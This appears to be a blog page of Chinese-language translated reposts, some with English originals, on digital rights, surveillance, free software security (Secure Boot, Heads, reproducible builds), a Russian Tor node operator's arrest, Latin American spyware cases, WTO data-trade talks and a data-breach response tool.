Metahaven 的大部分工作充满了神秘感，这种工作利用了严重介导的视觉碎屑，精准定义了被大企业和政府控制的世界。微软预先安装的字体包、阴影效果、花哨的颜色、盗版徽标和其他过时的图形元素，这些标记令人感觉模糊又格外的熟悉。

庞大的企业实体 — 亚马逊、苹果、谷歌 — — 对我们所有人的认知、以及我们如何发现知识，进行最高级别的算法和监视控制。新闻非营利组织 Wikileaks 在 2010 年首次在其网站上发布了 2007 年美国巴格达军事袭击案件，其中驻伊拉克的路透社记者被杀的视频。一石千层浪。同年，Wikileaks 又发布了超过 75,000 份与阿富汗战争有关的文件。被通过这些数据转储曝光的视觉语言所吸引，Metahaven 在 2011 年为 Wikileaks 进行了一系列志愿者品牌推广活动。该项目包括一系列印有该组织名称的灰色 T 恤，以及一套带有伪装图案的围巾 — 暗示政治的谎言。并将全部销售的收入都转赠给了 Wikileaks。

Metahaven 引用了著名媒体活动家和学者 Ethan Zuckerman 的“数字行动主义的可爱猫理论”（2008），它将数字平台确定为政治行动的主要地点。Zuckerman 认为，如果国家开始侵犯人们发布宠物图片的权利，公民肯定会抗议 — 并且如果像 Facebook 这样的在线平台解散，人们很容易找到其他地方发布这样的图片。

是的，发布。把你的权利拿回来，这就是行动主义。

「图」

「图」

The pair’s work on show in South Korea in 2016. Photograph: Doyun Kim

如今，Metahaven 这个集体的推特账户的背景照片仍然是来自故乡的风景，您可以在其中读这样的文字：“旋转门和镜像墙”。跟着 Metahaven，您会不知道自己身在何处。

Oscar 的火车被延迟了两个小时进入阿姆斯特丹中央火车站，于是他在车站内的一个地方遇到了这个二人组，这地方设有咖啡馆、唱片店、在线广播电台，也没有精酿啤酒吧。他们就这么坐着干聊起来。

Van der Velden 出生于 1971 年，在鹿特丹长大，而 Kruk 比他年轻9岁，在附近的莱顿长大。他俩每个人都有图形设计专业的学位。除了一起工作外，他们还有一个五岁大的女儿。

“担心公开声明我们是一对夫妇这让人有点紧张，因为这种趋势真的很浪漫，”Kruk 说。

“或者一点都不[浪漫]!“ Van der Velden 说。

“如果你像我们一样工作和生活在一起，那么关于角色分工这事总会有这种好奇心，”Kruk 继续道。“以同一个名字工作是极其自由的，因为你可以随意改变你在集体内所扮演的角色。”

与 The Sprawl（2015）一起，Information Skies 和 Hometown 共同构成了 Metahaven 的“真相未来主义”三部曲。The Sprawl 是一部更为传统的纪录片，它的字幕上写着“关于宣传的宣传”。然后，一些说话的头忽然出现了，包括 Peter Pomerantsev，“Nothing Is True and Everything Is Possible没什么是真的，一切皆有可能”，向西方读者介绍了弗拉迪斯拉夫·苏尔科夫（Vladislav Surkov），他是一位美学家和普京理论家，他被描述为“俄罗斯政治的傀儡”。

“现在，宣传技术已经不再适用于他们正在推动的集中化的观点，”Van der Velden 说，“他们试图制造怀疑，试图干预我们无法掌握事实的认知空间，但我们可以创造故事。”

这个团队希望在欧亚大陆进一步探索这一想法，直到这次会面时它仍在编辑。这部电影将被置于一个“虚构的，又不那么虚构的未来欧洲，类似于中世纪的封地地图”。

其中还有 Nigel Farage 和意大利喜剧演员后转行做政治家 Beppe Grillo 的档案片段。Farage 正在锻炼自己如今必须熟悉起来的东西，'我是一个政治局外人，我实际上是一个喜剧演员' — 这实际上就像是一种特洛伊木马摧毁政治本身，并成为某种准友好的人物，那种我们必须相信他，因为他很有趣的人。“ 他也是*关于过去的虚构*的创造者 — 正如 Van der Velden 所指出的那样，在欧盟出现之前，欧洲不是民族国家的土地，它是帝国的土地。这与该创作团体为电影确立的中心思想联系在一起了，即通过“操纵过去，你实际上可以塑造未来 — 通过将过去改造成未来的结果”。

为了制造欧亚大陆，Metahaven 带我们前往21世纪的反乌托邦世界中具有重要意义的遗址。他们参观了乌拉尔山脉的 Sak-Elga，位于欧洲和亚洲之间的地理边界，那里的水已经由于铜污染而变成了红色。他们走遍南方，寻找中国与西方之间“新丝绸之路”的踪迹，最终拍摄到中国的出口搭乘苏联铁路穿越18世纪的风景。

在马其顿，他们去了韦莱斯，这个小镇在 2016 年美国大选期间被称为“世界假新闻之都”，因为大量的特朗普支持网站正在那里运行。希拉里克林顿将她的失败就归咎于这些地方，然而 **Metahaven** 发现的则是：“没什么特别的。你找到的只是一个人们没有工作的小镇，有一个废弃的旧工厂，有些人有电脑和一点政治意识，一个没有非常强烈的自由世界观倾向的地方。“

也许你猜错了。Metahaven 的工作中可没有什么讽刺，就如 Van der Velden 所说，“讽刺已经死了。它在**20**世纪**90**年代是有效的，但目前讽刺早已不是真正能发挥作用的东西。你仍然可以看到像英国喜剧演员 Sacha Baron Cohen 那样的人，它的形式仍存在于我们生活的一些外部想法中，那些能让我们大笑的想法。但讽刺这种形式，正在被层层削弱和剥离”。

这个世界已经不再需要讽刺。而 Metahaven 所做的，是为现实的低吟之语安装一个扩音器。

正如 Van der Velden 所指出的那样，Metahaven 有时不和谐和困难的视觉风格视图是在无规则的敲击和韵律之间取得一种平衡：“如果你敲击得太多，它就会变得像噪音一样，如果它变得过于诗意，你就会失去密度的张力和想法“。■

原文

Why Freedom is Essential to Security and Privacy - iYouPort

互联网自由-Resist

Freedom results in stronger security and privacy. These three concepts aren't just interrelated, but they are interdependent. As you increase freedom, you increase security and privacy and when you decrease freedom, you put security and privacy at risk

---

「图」

「图」

This post is based off of "Freedom, Security and Privacy" a keynote by Kyle Rankin, a Chief Security Officer, gave at OpenWest 2018. You can see the full video of the talk //here.//

Freedom, security and privacy are interrelated. The relationship between these three concepts is more obvious in some cases than others, though. For instance, most people would recognize that privacy is an important part of freedom. In fact, studies have shown that being under surveillance changes your behavior such as one study that demonstrates that knowing you are under surveillance silences dissenting views. The link between privacy and security is also pretty strong, since often you rely on security (encryption, locked doors) to protect your privacy.

The link between freedom and security may be less obvious than the others. This is because security often relies on secrecy. You wouldn't publish your password, safe combination or debit card PIN for the world to see, after all. Some people take the idea that security sometimes relies on secrecy to mean that secrecy automatically makes things more secure. They then extend that

logic to hardware and software: if secret things are more secure, and proprietary hardware and software are secret, therefore proprietary hardware and software must be more secure than a free alternative.

The reality is that freedom, security and privacy are not just interrelated, they are interdependent. In this post I will analyze the link between these three concepts and in particular how freedom strengthens security and privacy with real world examples.

Do Many Eyes Make Security Bugs Shallow?

A core tenet of the Free Software movement is "many eyes make bugs shallow." This statement refers to the fact that with proprietary software you have a limited amount of developers who are able to inspect the code. With Free Software, everyone is free to inspect the code and as a result you end up with more people (and more diverse people) looking at the code. These diverse eyes are more likely to find bugs than if the code were proprietary.

Some people extend this idea to say that many eyes also make security bugs shallow. To that I offer the following counterpoint: OpenSSL, Bash and Imagemagick. All three of these projects are examples where the code was available for everyone to inspect, but each project had critical security bugs hiding inside of the code for years before it was found. In particular in the case of Imagemagick, I'm all but certain that security researchers were motivated by the recent bugs in OpenSSL and Bash to look for bugs in other Free Software projects that were included in many embedded devices. Now before anyone in the proprietary software world gets too smug, I'd also like to offer a counter-counterpoint: Flash, Acrobat Reader and Internet Explorer. All three of these are from a similar vintage as the Free Software examples and all three are great examples of proprietary software projects that have a horrible security track record.

So what does this mean? For security bugs, it's not sufficient for many eyes to look at code–**security bugs need the right eyes looking at the code**. Whether the researcher is fuzzing a black box, reverse engineering a binary, or looking directly at the source code, security researchers will find bugs if they look.

When Security Reduces Freedom

At Purism we not only develop hardware, we also develop the PureOSoperating system that runs on our hardware. PureOS doesn't have to run on Purism hardware, however, and we've heard from customers who use PureOS on other laptops and desktops. Because of this, we sometimes will test out PureOS on other hardware to see how it performs. One day, we decided to test out PureOS on a low-end lightweight notebook, yet when we went to launch the installer, we discovered that the notebook refused to boot it! It turns out that Secure Boot was preventing the PureOS installer from running.

What is Secure Boot and why is it problematic?

Secure Boot is a security feature added to UEFI systems that aims to protect systems from malware that might attack the boot loader and attempt to hide from the operating system (by infecting it while it boots). Secure Boot works by requiring that any code it runs at boot time be signed by a certificate from Microsoft or from vendors that Microsoft has certified. The assumption here is that an attacker would not be able to access the private keys from Microsoft or one of its approved vendors to be able to sign its own malicious code. Because of that, Secure Boot can prevent the attacker from running code at boot.

When Secure Boot was first announced, the Linux community got in quite an uproar over the idea that Microsoft would be able to block Linux distributions from booting on hardware. The counter-argument was that a user could also opt to disable Secure Boot in the UEFI settings at boot time and boot whatever they want. Some distributions like Red Hat and Ubuntu have taken the additional step of getting their boot code signed so you can install either of those distributions even with Secure Boot enabled.

Debian has not yet gotten their boot code signed for Secure Boot and since PureOS is based off of Debian, this also means it cannot boot when UEFI's Secure Boot is enabled. You might ask what the big deal was since all we had to do is disable Secure Boot and install PureOS. Unfortunately, some low-cost hardware saves costs by loading a very limited UEFI configuration that doesn't give you

the full range of UEFI options such as changing Secure Boot. That particular laptop fell into this category so **we couldn't disable Secure Boot** and as a result **we couldn't install our OS**–we were limited to operating systems that partnered with Microsoft and its approved vendors.

Secure Booting: Now with Extra Freedom

It's clear that protecting your boot code from tampering is a nice security feature, but is that possible without restricting your freedom to install any OS you want? Isn't the only viable solution having a centralized vendor sign approved programs? It turns out that Free Software has provided a solution in the form of Heads, a program that runs within a Free Software BIOS to detect the same kind of tampering Secure Boot protects you from, only with keys that are fully under your control!

The way that Heads works is that it uses a special independent chip on your motherboard called the TPM to store measurements from the BIOS. When the system boots up, the BIOS sends measurements of itself to the TPM. If those measurements match the valid measurements you set up previously, it unlocks a secret that Heads uses to prove to you it hasn't been tampered with. Once you feel confident that Heads is safe, you can tell it to boot your OS and Heads will then check all of the files in the /boot directory (the OS kernel and supporting boot files) to make sure they haven't been tampered with. Heads uses your own GPG key signatures to validate these files and if it detects anything has been tampered with, it sends you a warning so you know not to trust the machine and not to type in any disk decryption keys or other secrets.

With Heads, you get the same kind of protection from tampering as Secure Boot, but you can choose to change both the TPM secrets and the GPG keys Heads uses at any time–everything is under your control. Plus since Heads is Free Software, you can customize and extend it to behave exactly as you want, which means an IT department could customize it to tell the user to turn the computer over to IT if Heads detects tampering.

When Security without Freedom Reduces Privacy

Security is often used to protect privacy, but without freedom, an attacker can more easily subvert security to exploit privacy. Since the end-user can't easily inspect proprietary firmware, an attacker who can exploit that firmware can implant a backdoor that can go unseen for years. Here are two specific examples where the NSA took advantage of this so they could snoop on targets without their knowing.

- **NSA Backdoors in Cisco Products**: Glenn Greenwald was one of the reporters who initially broke the Edward Snowden NSA story. In his memoir of those events, No Place to Hide, Greenwald describes a new NSA program where the NSA would intercept Cisco products that were shipping overseas, plant back doors in them, then repackage them with the factory seals. The goal was to use those back doors to snoop on otherwise protected network traffic going over that hardware.
- **NSA Backdoors in Juniper Products**: Just in case you are on Team Juniper instead of Team Cisco, it turns out you weren't excluded. The NSA is suspected in a back door found in Juniper firewall products within its ScreenOS that had been there since mid-2012. The backdoor allowed admin access to Juniper firewalls over SSH and also enabled the decryption of VPN sessions within the firewall–both very handy if you want to defeat the privacy of people using those products.

While I picked on network hardware in my examples, there are plenty of other examples outside of Cisco, Juniper, and the NSA where because of a disgruntled admin, a developer bug, or paid spyware, a backdoor or default credentials showed up inside proprietary firmware in a security product. The fact is, this is a difficult if not impossible problem to solve with proprietary software because there's no way for an end user to verify that the software they get from their vendor matches the source code that was used to build it, much less actually audit that source code for back doors.

When Freedom Protects Security and Privacy

The Free Software movement is blazing the trail for secure and trustworthy software via the reproducible builds initiative. For the

most part, people don't install software directly from the source code but instead a vendor takes code from an upstream project, compiles it, and creates a binary file for you to use. In addition to a number of other benefits, using pre-compiled software saves the end user both the time and the space it would take to build software themselves. The problem is, an attacker could inject their own malicious code at the software vendor and even though the source code itself is Free Software, their malicious code could still hide inside the binary.

Reproducible builds attempt to answer the question: "does the binary I get from my vendor match the upstream source code that was used to build it?" This process uses the freely-available source code from a project to test for any tampering that could have happened between the source code repository, the vendor, and you making sure that a particular version of source code will generate the same exact output each time it is built, regardless of the system that builds it. That way, if you want to verify that a particular piece of software is safe, you can download the source code directly from the upstream developer, build it yourself, and once you have the binary you can compare your binary with the binary you got from your vendor. If both binaries match, the code is safe, if not, it could have been tampered with.

Debian is working to make all of its packages reproducible and software projects such as Arch, Fedora, Qubes, Heads, Tails, coreboot and many others are also working on their own implementations. This gives the end user an ability to detect tampering that would be impossible to detect with proprietary software since by definition there's no way for you to download the source code and validate it yourself.

Freedom, Security and Privacy in Your Pocket

Another great example of the interplay between freedom, security and privacy can be found by comparing the two operating systems just about everyone carries around with them in their pockets: iOS and Android. Let's rate the freedom, security and privacy of both of these products on a scale of 1 to 10.

In the case of iOS, it's pretty safe to say that the general consensus

puts iOS security near the top of the scale as it often stands up to government-level attacks. When it comes to privacy, we only really have Apple's marketing and other public statements to go by, however because they don't seem to directly profit off of user data (although apps still could), we can cut them a bit of a break. When it comes to freedom, however, clearly their walled garden approach to app development and their tight secrecy around their own code gives them a low rating so the end result is:

- Security: 9
- Privacy: 6
- Freedom: 1

Now let's look at Android. While I'm sure some Android fans might disagree, the general consensus among the security community seems to be that Android is not as secure as iOS so let's put their security a bit lower. When it comes to freedom, if you dig far enough into Android you will find a gooey Linux center along with a number of other base components that Google is using from the Free Software community such that outside parties have been able to build their own stripped-down versions of Android from the source code. While you have the option to load applications outside of Google's Play Store, most of the apps you will find there along with almost all of Google's own apps are proprietary, so their freedom rating is a mixed-bag. When it comes to privacy though, I think it's pretty safe to rate it very low, given the fundamental business model behind Android is to collect and sell user data.

- Security: 7
- Freedom: 5
- Privacy: 1

Over the long run, the Librem line of products aims to address these concerns.

Why Not All Three?

To protect your own security and privacy, you need freedom and control. Without freedom, security and privacy require the full trust of vendors. However, vendors don't always have your best interests at heart; in fact, in many cases vendors have a financial incentive to

violate your interests, especially when it comes to privacy. The problem is, with proprietary software it can be difficult to prove a vendor is untrustworthy and if you do prove it, it's even harder to revoke that trust.

With Free Software products, you have control of your trust. You also have the ability to verify that your Free Software vendors are trustworthy. With reproducible builds, you can download the source code and verify it all yourself.

In the end, freedom results in stronger security and privacy. These three concepts aren't just interrelated, but they are interdependent. As you increase freedom, you increase security and privacy and when you decrease freedom, you put security and privacy at risk. This is why we design all of our products with freedom, security and privacy as strict requirements and continue to work toward increasing all three in everything we do.

原文

一个值得思考的案例：当权者的无知也是流氓行为的缘由 - iYouPort

互联网自由-Resist

本月早些时候，俄罗斯的一个 Tor 节点运营商被捕了，他并没有犯罪，被捕只是由于当局对分散化网络性质的潜在误解。

Dmitry Bogatov 是莫斯科金融与法律大学讲师，于4月6日被拘留，并被指控“组织群众骚乱”，后来又发生了更严重的所谓“煽动恐怖活动”的指控，他目前仍在被拘留。但一切都是误会。

Bogatov 被指控于3月底在 sysadmins.ru撰写文章，鼓励抗议者参加4月2日的反腐败示威活动，其中包括技术支持，如“破布、瓶装松节油、聚苯乙烯泡沫塑料和丙酮”。在俄罗斯当局追查帖子的来源时最终找到了他家的 IP 地址，然后 Bogatov 就受到了指控。

但是这些帖子并非来自他本人，而是作为匿名全球流量的一部分发送到他家的服务器上，该流量传输到他所托管的 Tor 节点。Tor 节点充当中继站，用于周转匿名 Tor 网络中的全球流量，这是一种流行的在线隐私工具，适用于任何希望保持上网匿名的人。

不幸的是，对于 Bogatov 来说，在一个当局积极惩治不同意见的国家里维护一个 Tor 节点明显是一场危险的游戏。据报道，有一段监视镜头可以显示，当有关消息在网上发布时，Bogatov 与他的妻子在一起而不是在上网，而且，一篇黑客新闻的帖子暗示有人在 Bogatov 被拘留后继续以最初的 Airat Bashirov 的用户名发帖。

尽管如此，俄罗斯当局似乎并没有因此反思，仍然坚持将他拘留。

Earlier this month, a Tor node operator in Russia was arrested in a potential misunderstanding about the nature of the decentralized network. Unfortunately for Bogatov, hosting a Tor node at home in a nation aggressively ferreting out dissent is a dangerous game.

原文

一句人权，任重道远 - iYouPort

互联网自由-Resist

整个2018年，新的监视措施继续侵蚀拉丁美洲人民的隐私。然而，地方和区域数字权利组织继续推进战略诉讼，记者和安全研究人员继续进行调查，以揭示政府使用恶意软件的内幕，当地活动家不知疲倦地工作，以打击覆盖整个地区的总体监视法案和间谍行为实践。

巴西—— 为了保护隐私，圣保罗法院下令停止收集地铁乘客的数据，这些监视使用地铁上的广告跟踪用户的面部表情和特征。巴西消费者保护协会（IDEC）和拉丁美洲监测技术和社会研究组织（LATVIS）起诉圣保罗地铁的特许经营商 Via Quatro，以捍卫使用公共交通系统的约60万巴西人的隐私权。

墨西哥—— 墨西哥今年继续因隐私侵犯而成为头条新闻。 2018年，公民实验室与 ARTICLE 19 透露，两名来自 Rio Doce 的记者—— 这是一个涉及贩毒集团深入调查的独立新闻媒体—— 被恶意软件攻击。

记者收到以色列间谍软件公司 NSO 集团制作的 Pegasus 恶意软件钓鱼短信。他们的同事—— 屡获殊荣的墨西哥记者和 Rio Doce 联合创始人 Javier Valdez 死于12颗子弹的枪击案，恶意软件就利用死亡事件对记者钓鱼。详见《不要相信那些你最关心的消息》

墨西哥政府之前因非法监视二十名最直言不讳的批评者而遭到谴责。尽管有大量证据表明墨西哥非法使用了 Pegasus，但 NSO 显然仍然保持与墨西哥政府的关系。

作为回应，R3D 去年8月在以色列和塞浦路斯针对 NSO 集团提起了民事诉讼，指控其疏忽和同谋侵犯人权。 R3D 要求 NSO 停止其监视技术服务，并对其在墨西哥政府侵犯人权行为中的作用负责。 R3D 还试图让墨西哥官员对这些滥用行为负责。

- 更多详细内容：《以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群》
- 《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监

视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》

🔐 关于防御办法：

- 《你必须能熟练使用真正安全的工具》
- 《需要能了解最先进的技术是什么，以针对性防范》
- 《日常出门也要注意像敏感时段一样自我保护，这里是应该怎么做》

危地马拉—— 出于全面控制社会的目的，政府使用网络犯罪分子采用的恶意软件，入侵无辜用户的电子设备。今年，El Nuevo Diario 发表了一份开创性的报告，揭露了针对危地马拉活动家、企业家、政治家、记者、外交官和社会领袖的，持续了多年的大规模和非法间谍活动。

该报告发现，Partido Patriota 政府花费了9000多万格查尔（折合大约1200万美元）用于 IMSI 捕手和软件的购置，以监控和收集社交媒体信息。（对应方案《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？》）

他们还从世界上最臭名昭着的恶意软件提供商那里购买了恶意软件：Hacking Team 的 Galileo 和 NSO Group 的 Pegasus。

关于 Hacking Team：

- 《异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 2015 年间谍软件供应商 Hacking Team 似乎已经完了，内部电子邮件和间谍软件源代码在网上泄露，任何人都可以看到。但是，三年后的如今，该公司居然又活过来了。 这要归功于 2016 年一位神秘投资者的现金涌入—— 该投资人是沙特皇家宫廷顾问 HE Saud Al-Qahtani
- 这篇文章有提到意大利监控技术公司 Hacking Team《 危险：

监控技术公司正在推动对零日漏洞的利用 》
- 这里是最全的：Wikileaks 的 Hacking Team 档案馆

该报告透露，政府在 2015 年利用这些工具瞄准抗议政府腐败的异议人士。像 Fundacion Acceso 和 IPANDETEC 这样的数字权利组织，利用这个机会提高了人们对隐私权的认识，尽管该国和中国一样，有着深厚的监管文化。

阿根廷—— 2018年，布宜诺斯艾利斯市和联邦政府批准了允许政府黑客技术进行无管制使用的危险立法。

法律和社会研究中心、民权协会、平民和司法民事协会、维利基金会、和其他组织纷纷抵制布宜诺斯艾利斯刑事诉讼法和联邦刑事诉讼法中启用的“特殊调查措施”，例如允许政府在刑事调查中使用恶意软件。

为了保护隐私，最终这些条款被取消了。这些技术是侵入性的和极其隐秘的，并且与传统的窃听相比，它触及的隐私和安全问题之深更加惊人。这些新权力中的每一个都是潜在滥用的定时炸弹。危险的法案甚至没有提供限制其使用所必需的基本控制—— 一个将执行这些限制的独立司法机构、或任何公众监督机制，使公众能够了解其国家最秘密的政府代理人在他们的名义上做了什么。

智利—— 由智利 LaAraucucía 地区的警察管理的“飓风行动”在 2017 年逮捕了八名马普切社区的成员，这是智利中南部的一个土著群体，人们被指控组成所谓的“非法恐怖主义协会”，尤其引人注意的是，此案中警方使用在线通信软件中的私密聊天记录作为证据。

今年，“飓风行动”继续将国家监视推向了数字时代，成为了智利舆论的最前沿。令人震惊的是，LaAraucucíía 的首席检察官证实，Carabineros 警察情报局的官员阻挠司法，提出的是虚假证据以指控 Mapuche 社区的成员。

拉丁美洲数字权利组织 Derechos Digitales 一直在要求这一行动背后的真相，呼吁改革智利情报部门，并强调必须通过符合智利人权义务的法律。

战斗仍在继续

2018 年，隐私权遭到拉丁美洲政府和监视技术公司前所未有的攻击—拉丁美洲数字权利社区在维权方面发挥了重要的作用。除了前面已

经提到的那些之外，这些团体还包括：哥伦比亚的 Karisma 基金会，它正在与哥伦比亚地铁站的面部识别和闭路电视摄像机作斗争；来自巴拉圭的 TEDIC，他们提高了对监视实践的认识，例如使用生物识别系统的监视；国际组织 ARTICLE 19，在墨西哥和巴西设有区域办事处，由伦敦的国际办事处提供支持。

虽然欧洲和美国的关注和行动经常成为国际头条新闻，但是，拉丁美洲的当地团体在开展调查违法行为、游说变革和诉诸司法等方面发挥了至关重要的基础作用。我们希望，随着公众开始认识到日益增长的威胁，他们还应采取更多措施来支持在拉丁美洲开展重要工作的这些组织。

Where Governments Hack Their Own People and People Fight Back: 2018 in Review. We hope that, as the public begins to recognize the growing threats, they will also do more to support organizations doing important work in Latin America.

原文

一项新举措如何使世界大国相互对立 - iYouPort

互联网自由-Resist

世贸组织又开始掐架了。 它提出了一项政策，可以防止跨境数据流的障碍，或禁止将公民数据存储在本地服务器上的要求。 听起来不错？ 可是引起了争议。中国这次又扮演了什么角色？

「图」

「图」

世贸组织关于数字贸易的新倡议力求增加其网页中所述的法律和政策。但是，除了提高总体满意度之外，这个计划还存在明显的争议。

乍一看，很难理解为什么。1月25日，76 名世贸组织成员代表聚集在达沃斯的年度报告中，宣布计划就涉及“电子商务贸易相关方面”的新规则进行谈判。与2月在华盛顿重启的中美贸易谈判相比，这次冒险似乎是积极合作式的。这是有道理的：现有的贸易规则是在云计算还是科幻小说的时代编写的。正如特朗普正在忙于削弱wto那样，还能有什么更好的方式来证明世贸组织的价值吗？

但是，仔细观察你就会发现冲突。虽然76名成员占全球贸易的90％，但他们是wto成员的少数。许多发展中国家喊道，更严格的电子商务规则会使国家监管机构的手与这个问题挂钩，而这个问题会分散他们关心其他问题的注意力，例如限制富国的农业补贴。

该计划旨在回避此类投诉，这些投诉多年来一直阻碍wto的协议。一个志同道合的团体不会让所有成员签署多边协议，而是相互制定规则。如果他们的要求得不到满足，像印度和南非这样的罢工将无法阻止进展。成本是一个更广泛的集团将产生的合法性—以及非签署方将自由搭乘任何交易，只需从其他人的承诺中获得，而不必自己做任何事。

进一步的战斗就在眼前。乔治华盛顿大学的 Susan Aaronson 抱怨说："各国对谈判的内容甚至没有共同的定义。" wto将电子商务定义为"生产、销售、市场营销，以电子方式销售或交付的商品和服务。"这是广意的。

具体协议可能还包括涉及垃圾邮件的规定或海淘邮寄的规则。它可以深入到成员国的国内法规中，以涵盖网络安全或个人数据保护。它可以防止跨境数据流的障碍，或禁止将公民数据存储在本地服务器上的要求。每两年一次世贸组织成员都承诺不对数字提供的商品征税，例如 Netflix 的电影。新协议可以确立这一承诺的永久性。

美国谈判代表对这一切感兴趣。他们的技术公司受益于数据自由的流动，这有助于他们培训算法并产生销售。数据本地化是昂贵的，并且可能为黑客提供更多目标从而削弱安全性。显然，他们也宁愿数字销售不征税。

美国国会应该在今年晚些时候会批准美国—墨西哥—加拿大协议（usmca），禁止对数字产品征收关税。跨太平洋伙伴关系（tpp）也是如此，该协议由包括美国在内的12个国家谈判，并在特朗普撤离后由其他国家恢复。TPP禁止政府强迫公司交出他们的源代码，USMCA更进一步还包括算法保密。两者都禁止数据本地化要求。

许多人担心美国科技公司正在对其他国家监管机构使用贸易规则。理论上，有关数据本地化和技术转移的规则有例外。但批评人士担心，政府会对援引这些例外情况持谨慎态度，而世贸组织的仲裁者将站在公司一边。

欧洲谈判代表很难参与其中。欧洲法律将隐私视为一项基本人权，将数据自由流动作为次要权利; 美国人（和日本人）从数据应该流动的前提开始，然后才考虑基于隐私的例外情况。尽管如此，欧盟与日本最近达成的协议表明，这些差异可能并非不可克服。

最大的争斗将是中国。其政府将数据视为主权问题，并将数据交易视为国家安全问题。据报道，中国代表试图缩小会谈范围，威胁不参加。他们最终加入了，大概是感觉自己对任何新规则施加影响会更好，而不是看到没有它们参与而成为的全球规则。

美国政府过去曾试图解决这些分歧。跨大西洋贸易与投资伙伴关系是美国和欧盟之间的拟议协议，应该涵盖双方对数据的不同方法。它与tpp一起，旨在将中国纳入一种不那么敌对的监管模式。

美国人再次与其他国家一起拉动中国。去年12月，世界贸易组织负责人罗伯托•阿泽维多（RobertoAzevêdo）将美国在电子商务方面的努力描述为“非常活跃”。但谈判者可能缺乏议价能力。关于狭隘主题的多边谈判至少意味着中国无法阻止所有讨论，但它们也消除了相互讨价还价的无条件让步的机会，这也是贸易谈判者达成共识的方式。这一倡议可能是陷入困境的世界贸易组织迫切需要的成功，也或者，它可能是其弱点的另一个证明。

Anew initiative aims to modernise global trading rules: It will pit the world’s big powers against each other. European law treats privacy as a fundamental human right, and the free flow of data as secondary; the Americans (and Japanese) start from the premise that data should flow and only then consider exceptions on privacy grounds.

原文

不是防漏而是善后 - iYouPort

互联网自由-Resist

一种新的工具被推出，旨在使频繁登场的数据泄漏事件变得不那么令人紧张。它不是预防性的保护，而是善后性的协助，它是如何做的？

「图」

「图」

你已经被另一起数据泄漏事件拉垮了。这就是你才刚收到的通知告诉你的。这类通知如今几乎变成了互联网的日常。

这类通知可能让受害者感到不知所措和困惑。但是，身份盗窃资源中心和咨询公司 Futurion 推出了一种新的工具，旨在使泄漏事件变得不那么令人紧张，减轻你的压力。

Breach Clarity 分析公开披露的数据泄露事件，并根据风险向受害者提供具体建议。它借鉴了资源中心维护的综合数据库，并应用了一种权衡风险的算法。

“人们想知道：实际上基于个人的风险是什么，也就是该如何解决它，”身份盗窃资源中心首席执行官 Eva Velasquez 说。

Breach Clarity 是最新的以消费者为中心的服务，旨在帮助用户了解当今在线生活的复杂，避免迷失方向。

您可以通过访问 Have I Been Pwned 或 Firefox Monitor 来了解您是否丢失了登录凭据和其他敏感信息。Breach Clarity 的任务则是帮助您决定下一步该做什么，是更进一步的解决方案。越来越多的这些工具意味着消费者有更强的能力来应对数据泄露。这意味着下次收到数据泄露通知时，您不必只是被愤怒和困惑的淹没。

决定如何应对数据泄露并非易事。专家们知道，数据泄露可以帮助犯

罪分子实现身份盗用和其他一系列金融犯罪。但是，预测他们可能对任何给定的一组盗窃数据做什么，是一个挑战。

为了提供有用的建议，Breach Clarity 依赖于一种算法，该算法可以分析被盗数据的类型，并预测此类数据可能带来的犯罪类型。Futurion 首席执行官 Jim Van Dyke 表示，结果令人惊讶，他是一个数据分析专家，他的团队创建了该算法。

例如，Home Depot 为2014年遭遇黑客入侵的受害者提供了免费信用监控，其中黑客窃取了数百万的信用卡号码。但是一般来说信用监控最好是防止身份窃贼开辟新的信贷额度，而 Van Dyke 的算法认为这不是数据泄露受害者面临的最大风险。

相反，犯罪分子更有可能尝试使用受害者现有的卡和银行账户进行购买。为了防止这种行为，Breach Clarity 建议受害者发出警报并要求补发新卡。

该算法是动态的，Futurion 会在犯罪分子改变他们的作案手法时更新它。该公司通过采访金融犯罪专家并将新信息纳入算法来确定需要进行哪些变更。最后，他想向金融机构许可该工具的商业版本，消费者版本是免费的。

“如果盗贼会利用我们的数据来伤害我们，我们应该利用该工具来尽可能地阻止这种伤害。”

还没有看到该算法的具体细节，但我们推测它似乎可能是一套常规社交工程技术手法的汇总。很高兴知道该算法会不断变更升级，因为进攻手段是动态的，于是防御方法也应该是动态的，而且要快于进攻手段的升级。

This data breach response tool tells you what to do next. Breach Clarity analyzes the threat and points you to advice.

原文

世界各地的言论自由和隐私权都在减少 - iYouPort

互联网自由-Resist

专制统治、媒体管制、和大规模监视的使用，几乎影响到全球一半人口

「图」

「图」

研究人员发现，世界上近一半的人口生活在言论自由和隐私权受到严重侵蚀的国家。

198个国家在大规模监视和数据隐私等问题上的排名显示，“强人”政权正通过技术、镇压抗议和监禁记者等方式，试图扼杀不同意见，并巩固政治权力，公民正在越来越多地遭受监视。

这份由全球风险分析公司 Verisk Maplecroft 最新发布的报告发现，约有33.8亿人（约占全球人口的46%）生活在隐私权和表达自由权均处于“极端风险”的国家。

在198个国家中，有58个国家被归类为公民隐私权方面的“极端风险”，比2017年的水平高出9%。这些国家在言论自由指数中也被列为“极端风险”。

从2017年的52个国家增加到2019年的58个，增长了11%。

然而，仅有28个国家被确定为民主治理指数方面的“极端风险”，该指数确定并衡量专制程度。

报告称，这些数字代表了全球权利和自由受到侵蚀的“令人担忧”的趋势，这种趋势“超越了最核心的专制国家”。

“这告诉我们，现在有越来越多的国家将控制公共叙述和消除公众异

议置于公民的基本权利之上。”

报告重点介绍了柬埔寨，去年举行的全国大选使洪森能担任该国首相34年，他通过罚款和监禁两年的手段来打击所谓的“假新闻”，扼杀言论自由。（顺便说现在中国也这样做了，见下图）

「图」

「图」

这不是新鲜事，多年前就已开始“流行”，在这里看到最完整报告《数字威权主义的兴起: 灾年之畔》。

洪森还通过扩展网络监控来扼杀在线反对言论，并命令所有互联网流量通过国有数据管理中心传输。

报告称，中国的言论自由和隐私权的总得分最低。作为全球五分之一的互联网用户的家园，这个国家已经面临着最严峻的互联网限制。

